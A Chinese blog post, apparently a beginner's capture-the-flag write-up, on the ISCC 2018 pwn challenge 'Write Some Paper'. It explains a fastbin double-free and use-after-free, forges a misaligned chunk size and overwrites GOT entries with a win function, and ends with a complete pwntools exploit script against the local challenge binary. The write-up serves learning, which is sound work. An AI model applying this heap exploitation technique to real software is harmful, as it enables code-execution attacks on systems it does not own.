ISCC218--Write Some Paper(入门第一题)

本文深入探讨了堆利用技术,特别是针对fastbin的双free漏洞利用。通过实例分析,讲解了如何利用双free创建UAF(Use After Free)条件,修改fastbin free chunk的fd信息,以实现对特定地址的分配控制。文章还详细解释了如何绕过内存分配检查,实现任意地址读写,并展示了如何利用这一能力重定向函数调用,达到控制程序流程的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

检查可执行文件的保护机制

文件的保护机制
发现PIE没有开启,Canary found和NX enable开启,栈溢出利用难度大,优先考虑堆利用。

静态分析代码

主函数
释放堆块---关键函数
delete_paper在free后没有将指针置空。
分配堆块
在代码我中没有发现溢出点,考虑的double free。
感谢https://blog.youkuaiyun.com/qq_29343201/article/details/72627537理论指导
利用类型: 堆利用
堆利用类型: 针对fastbin的利用
利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点
需要能够两次free同一个chunk
更改fd的时候,为了能够在之后的malloc之后返回这个值,需要通过一个check,会检查fd指向的这个位置的size(这个位置可以不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息
fast bin的free检查了比较多的东西,所以这里就不再都贴出来了,其漏洞的主要原因在于fastbin
的实现其实是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话,
只要不是连续的free两次同一个chunk,就可以顺利的将一个chunk放进free list。之后的分配会使得
chunk虽然在free list里,但是也被分配了出来,这样就可以更改到fd指针,使其指向其他位置。

动态代码分析

我们以动态调试的结果来说明double free利用方式。
我们进行两次add paper(1,2)后的堆分布图,第一次分配的堆地址是0x603670,内容是"test";第二次分配的堆地址是0x6036a0,内容为"test2";同时我们发现fast bins中没有任何信息。
在这里插入图片描述
我们进行两次delete paper(1,2)后的fast bins,我们发现分配后释放的堆块地址在fast bins中存在0x6036a0,0x603670,且后释放的在链表的前端。堆块中这两个地址中的内容应该被清空了,但是heap chunks中还能看到它们,为什么呢?(刚入门还不知道原因)。而且0x6036a0处竟然存放了前一个释放的堆块的地址,原因可参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/学习堆结构,本文就不再赘述。
在这里插入图片描述
在这里插入图片描述
再次delete paper(1),我们神奇的发现0x603670在fast bins中存在两处,double free精髓。
delete paper之后的fast bins
我们再进行两次add paper,将0x603670,0x6036a0分配出去,此时我们可以修改0x603670的地址为任意内容,最后fast bins中也只剩下0x603670一块内存。

再次add paper,系统将再次分配0x603670给程序,并将前8个字节(我们在第一次分配这个地址时就获得该地址的控制权,arbitary1)的内容写入fast bin中,再一次add paper时就会将我们控制的地址分配给程序,达到任意地址读写的目的。
理论上很完美,但是我们分配内存空间时会有一系列检查,还需绕过。

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = “malloc(): memory corruption (fast)”;
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,比如size都为0x20大小的 fastbin,能够接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当做size), 否则将会出现memory corruption。所以利用的时候需要想办法找到一个相应的size,这个size其实是不需要对齐的,所以可以通过错位的方式构造一个假的size值出来。找到相应的size就可以进行分配到相应位置了。

注意,在64位下,我们只考虑低四位即可

解题

既然可实现任意地址读写,我们就需要弄清楚,写在哪儿,写什么?我们注意到一个函数
在这里插入图片描述
天助我也!!!当然写gg()的地址,写在哪儿呢?我们没有获取eip控制权,只有任意地址读写权限,因此我们考虑将got表中的函数地址修改城gg()的地址,那么调用该系统函数时就会调用gg()函数。
在这里插入图片描述
在这里插入图片描述
0x60203a,0x602042符合我们的条件,因为堆块size为0x40(不考虑高位),地址-8处为堆块分配大小。https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/ 自己学习原因。
方法1:
控制0x60203a处,system地址被破坏,printf覆盖为gg()地址。利用时需要还原system地址,同时触发printf调用。
在这里插入图片描述
方法2:
控制0x602042处,只需将strtol地址覆盖为gg(),然后触发strtol调用即可。
exp
from pwn import *
pwn=process("./pwn3")
ENV = {“LD_PRELOAD”:"./libc.so.6"}
context.log_level = “debug”
gdb.attach(pwn)
def add_paper(index,length,content):
pwn.recvuntil(“2 delete paper”)
pwn.sendline(“1”)
pwn.recvuntil("(0-9)😊
pwn.sendline(str(index))
pwn.recvuntil(“you will enter:”)
pwn.sendline(str(length))
pwn.recvuntil(“enter your content:”)
pwn.sendline(content)
def del_paper(index):
pwn.recvuntil(“2 delete paper”)
pwn.sendline(“2”)
pwn.recvuntil(“which paper you want to delete,please enter it’s index(0-9):”)
pwn.sendline(str(index))
add_paper(1,32,‘aaaa’)
add_paper(2,32,‘aaaa’)
del_paper(1)
del_paper(2)
del_paper(1)
#方法2:add_paper(1,32,p64(0x602042))
add_paper(1,32,p64(0x60203a))#方法1
add_paper(2,32,‘cccc’)
add_paper(3,32,‘dddd’)
add_paper(4,32,"\x40\x00\x00\x00\x00\x00"+p64(0x400943))#方法1
#方法2:add_paper(4,32,“a”*22+p64(0x400943))
pwn.recvuntil(“2 delete paper”)
pwn.sendline(‘a’)//为什么需要手动输入才行?不懂
pwn.interactive()
思考
1.如何判断是否利用成功,因为无法remote,本地如何判断利用成功?此处我通过调试发现调用gg()函数即视为成功
2.ENV = {“LD_PRELOAD”:"./libc.so.6"}这句话很重要,不加会报错。为什么需要手动预加载libc,系统不是自动搜索相应版本?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值